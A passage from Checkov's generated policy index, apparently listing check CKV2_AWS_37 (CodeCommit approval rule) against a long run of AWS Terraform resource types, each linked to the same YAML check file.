[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  787 | CKV2_AWS_37     | resource | aws_chimesdkmediapipelines_media_insights_pipeline_configuration | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  788 | CKV2_AWS_37     | resource | aws_chimesdkvoice_global_settings                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  789 | CKV2_AWS_37     | resource | aws_chimesdkvoice_sip_media_application                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  790 | CKV2_AWS_37     | resource | aws_chimesdkvoice_sip_rule                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  791 | CKV2_AWS_37     | resource | aws_chimesdkvoice_voice_profile_domain                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  792 | CKV2_AWS_37     | resource | aws_cleanrooms_collaboration                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  793 | CKV2_AWS_37     | resource | aws_cleanrooms_configured_table                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  794 | CKV2_AWS_37     | resource | aws_cleanrooms_membership                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  795 | CKV2_AWS_37     | resource | aws_cloud9_environment_ec2                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  796 | CKV2_AWS_37     | resource | aws_cloud9_environment_membership                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  797 | CKV2_AWS_37     | resource | aws_cloudcontrolapi_resource                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  798 | CKV2_AWS_37     | resource | aws_cloudformation_stack                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  799 | CKV2_AWS_37     | resource | aws_cloudformation_stack_instances                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  800 | CKV2_AWS_37     | resource | aws_cloudformation_stack_set                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  801 | CKV2_AWS_37     | resource | aws_cloudformation_stack_set_instance                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  802 | CKV2_AWS_37     | resource | aws_cloudformation_type                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  803 | CKV2_AWS_37     | resource | aws_cloudfront_cache_policy                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  804 | CKV2_AWS_37     | resource | aws_cloudfront_continuous_deployment_policy                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  805 | CKV2_AWS_37     | resource | aws_cloudfront_distribution                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  806 | CKV2_AWS_37     | resource | aws_cloudfront_field_level_encryption_config                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  807 | CKV2_AWS_37     | resource | aws_cloudfront_field_level_encryption_profile                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  808 | CKV2_AWS_37     | resource | aws_cloudfront_function                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  809 | CKV2_AWS_37     | resource | aws_cloudfront_key_group                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  810 | CKV2_AWS_37     | resource | aws_cloudfront_key_value_store                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  811 | CKV2_AWS_37     | resource | aws_cloudfront_monitoring_subscription                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  812 | CKV2_AWS_37     | resource | aws_cloudfront_origin_access_control                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  813 | CKV2_AWS_37     | resource | aws_cloudfront_origin_access_identity                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  814 | CKV2_AWS_37     | resource | aws_cloudfront_origin_request_policy                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  815 | CKV2_AWS_37     | resource | aws_cloudfront_public_key                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  816 | CKV2_AWS_37     | resource | aws_cloudfront_realtime_log_config                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  817 | CKV2_AWS_37     | resource | aws_cloudfront_response_headers_policy                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  818 | CKV2_AWS_37     | resource | aws_cloudfront_vpc_origin                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  819 | CKV2_AWS_37     | resource | aws_cloudfrontkeyvaluestore_key                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  820 | CKV2_AWS_37     | resource | aws_cloudhsm_v2_cluster                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  821 | CKV2_AWS_37     | resource | aws_cloudhsm_v2_hsm                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  822 | CKV2_AWS_37     | resource | aws_cloudsearch_domain                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  823 | CKV2_AWS_37     | resource | aws_cloudsearch_domain_service_access_policy                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  824 | CKV2_AWS_37     | resource | aws_cloudtrail                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  825 | CKV2_AWS_37     | resource | aws_cloudtrail_event_data_store                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  826 | CKV2_AWS_37     | resource | aws_cloudtrail_organization_delegated_admin_account              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  827 | CKV2_AWS_37     | resource | aws_cloudwatch_composite_alarm                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  828 | CKV2_AWS_37     | resource | aws_cloudwatch_dashboard                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  829 | CKV2_AWS_37     | resource | aws_cloudwatch_event_api_destination                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  830 | CKV2_AWS_37     | resource | aws_cloudwatch_event_archive                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  831 | CKV2_AWS_37     | resource | aws_cloudwatch_event_bus                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  832 | CKV2_AWS_37     | resource | aws_cloudwatch_event_bus_policy                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  833 | CKV2_AWS_37     | resource | aws_cloudwatch_event_connection                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  834 | CKV2_AWS_37     | resource | aws_cloudwatch_event_endpoint                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  835 | CKV2_AWS_37     | resource | aws_cloudwatch_event_permission                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  836 | CKV2_AWS_37     | resource | aws_cloudwatch_event_rule                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  837 | CKV2_AWS_37     | resource | aws_cloudwatch_event_target                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  838 | CKV2_AWS_37     | resource | aws_cloudwatch_log_account_policy                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  839 | CKV2_AWS_37     | resource | aws_cloudwatch_log_anomaly_detector                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  840 | CKV2_AWS_37     | resource | aws_cloudwatch_log_data_protection_policy                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  841 | CKV2_AWS_37     | resource | aws_cloudwatch_log_delivery                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  842 | CKV2_AWS_37     | resource | aws_cloudwatch_log_delivery_destination                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  843 | CKV2_AWS_37     | resource | aws_cloudwatch_log_delivery_destination_policy                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  844 | CKV2_AWS_37     | resource | aws_cloudwatch_log_delivery_source                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  845 | CKV2_AWS_37     | resource | aws_cloudwatch_log_destination                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  846 | CKV2_AWS_37     | resource | aws_cloudwatch_log_destination_policy                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  847 | CKV2_AWS_37     | resource | aws_cloudwatch_log_group                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  848 | CKV2_AWS_37     | resource | aws_cloudwatch_log_index_policy                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  849 | CKV2_AWS_37     | resource | aws_cloudwatch_log_metric_filter                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  850 | CKV2_AWS_37     | resource | aws_cloudwatch_log_resource_policy                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  851 | CKV2_AWS_37     | resource | aws_cloudwatch_log_stream                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  852 | CKV2_AWS_37     | resource | aws_cloudwatch_log_subscription_filter                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  853 | CKV2_AWS_37     | resource | aws_cloudwatch_metric_alarm                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  854 | CKV2_AWS_37     | resource | aws_cloudwatch_metric_stream                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  855 | CKV2_AWS_37     | resource | aws_cloudwatch_query_definition                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  856 | CKV2_AWS_37     | resource | aws_codeartifact_domain                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  857 | CKV2_AWS_37     | resource | aws_codeartifact_domain_permissions_policy                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  858 | CKV2_AWS_37     | resource | aws_codeartifact_repository                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  859 | CKV2_AWS_37     | resource | aws_codeartifact_repository_permissions_policy                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  860 | CKV2_AWS_37     | resource | aws_codebuild_fleet                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  861 | CKV2_AWS_37     | resource | aws_codebuild_project                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  862 | CKV2_AWS_37     | resource | aws_codebuild_report_group                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  863 | CKV2_AWS_37     | resource | aws_codebuild_resource_policy                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  864 | CKV2_AWS_37     | resource | aws_codebuild_source_credential                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  865 | CKV2_AWS_37     | resource | aws_codebuild_webhook                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  866 | CKV2_AWS_37     | resource | aws_codecatalyst_dev_environment                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  867 | CKV2_AWS_37     | resource | aws_codecatalyst_project                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  868 | CKV2_AWS_37     | resource | aws_codecatalyst_source_repository                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  869 | CKV2_AWS_37     | resource | aws_codecommit_approval_rule_template                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  870 | CKV2_AWS_37     | resource | aws_codecommit_approval_rule_template_association                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  871 | CKV2_AWS_37     | resource | aws_codecommit_repository                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  872 | CKV2_AWS_37     | resource | aws_codecommit_trigger                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  873 | CKV2_AWS_37     | resource | aws_codeconnections_connection                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  874 | CKV2_AWS_37     | resource | aws_codeconnections_host                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  875 | CKV2_AWS_37     | resource | aws_codedeploy_app                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  876 | CKV2_AWS_37     | resource | aws_codedeploy_deployment_config                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  877 | CKV2_AWS_37     | resource | aws_codedeploy_deployment_group                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  878 | CKV2_AWS_37     | resource | aws_codeguruprofiler_profiling_group                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | 